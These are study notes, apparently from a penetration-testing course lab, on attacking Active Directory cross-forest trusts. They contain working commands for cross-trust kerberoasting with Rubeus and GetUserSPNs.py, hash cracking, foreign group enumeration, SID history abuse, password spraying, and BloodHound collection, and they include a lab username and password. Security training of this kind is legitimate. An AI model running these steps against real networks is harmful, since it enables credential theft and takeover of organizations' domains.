20. Cross Forest Domain Trust Abuse

X-forest kerberoasting, from Windows

Kerbroasting and asreproasting can be performed across trusts (depending on direction)

sometimes you cannot privesc in current dom, but can obtain a kerb ticket and crack a hash for admin in another domain

We can use powerview to enumerate accounts in a traget domain with SPNs associated with them

Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc |select samaccountname,memberof

we can kerberoast across trust using Rubeus use tool as normal but include /domain: flag to specify target domain

.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

and crack with hashcat like usual

Admin Password Reuse & Group membership

in the same scenario above:

use PowerView's Get-DomainForeignGroupMember to enumerate grps with users that do not belong to the domain.

Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

GroupDomain             : FREIGHTLOGISTICS.LOCAL
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=FREIGHTLOGISTICS,DC=LOCAL
MemberDomain            : FREIGHTLOGISTICS.LOCAL
MemberName              : S-1-5-21-3842939050-3880317879-2865463114-500
MemberDistinguishedName : CN=S-1-5-21-3842939050-3880317879-2865463114-500,CN=ForeignSecurityPrincipals,DC=FREIGHTLOGIS
                          TICS,DC=LOCAL

PS C:\htb> Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

INLANEFREIGHT\administrator

above shows built-in Admin group in FREIGHTLOGISTICS.LOCAL has built-in admin account for the INLANEFREIGHT.LOCAL domain as a member verify using Enter-PSSession cmdlet and connect over winRM to DC03

Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

[...] whoami ipconfig /all


SID History abuse cross forest

Sid history can also be abused across forest trusts. If users are migrated from one forest to another and SID Filtering not enabled we can add sid from the other forest.

If SID of acct with admin priv in ForestA is added to SID History attribute of acct in ForestB - assuming we can auth across the forest - then account will have administrative privs when accessing partner forest ![](/img/Pasted image 20240913182413.png) jjones from inlanefreight.local domain migrated to corp.local domain in a different forest


Cross-Forest Trust Abuse from Linux

use GetUserSPNs.py

Performing this against FREIGHTLOGISTICS.LOCAL we see one SPN entry for the mssqlsvc account.

GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

Rerun command with -request added for the TGS ticket. We can also use -outputfile <output> for hashcat

GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley  

use mode 13100 with hashcat

then we can login to freightlogistics.local as a domain admin

if we do this in a realworld assssment check if account exists in current domain with the same pw

 Suppose we can Kerberoast across a trust and have run out of options in the current domain. In that case, it could also be worth attempting a single password spray with the cracked password, as there is a possibility that it could be used for other service accounts if the same admins are in charge of both domains. Here, we have yet another example of iterative testing and leaving no stone unturned.

Hunting foreign group membership across forests with bloodhound

We may see users/admins from one domain as members of a group in another domain. Only Domain Local Groups alalow users from outside their forest

W/ linux we can use python implementation of bloodhound https://github.com/fox-it/BloodHound.

On some assessments, our client may provision a VM for us that gets an IP from DHCP and is configured to use the internal domain's DNS.

We will be on an attack host without DNS configured in other instances.

cat /etc/resolv.conf 

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5

Client may provision us a VM that gets IP from dhcp and uses internal domain's DNS In other instances, atk host without dns. In which case we edit resolv.conf

domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5

and run py collector

bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

Upload the data and check Users with Foreign Domain Group Membership under analysis tab; SELECT SOURCE DOMAIN as INLANEFREIGHT.LOCAL

We should see built-in admin acct for inlanefreight.local is a member of the built-in admin group in the freightlogistics.local domain we saw earlier.

Closing Thoughts on Trusts

As seen in the past few sections, there are several ways to leverage domain trusts to gain additional access and even do an "end-around" and escalate privileges in our current domain. For example, we can take over a domain that our current domain has a trust with, and find password re-use across privileged accounts. We've seen how Domain Admin rights in a child domain nearly always mean we can escalate privileges and compromise the parent domain using the ExtraSids attack. Domain trusts are a rather large and complex topic. The primer in this module has given us the tools to enumerate trusts and perform some standard intra-forest and cross-forest attacks.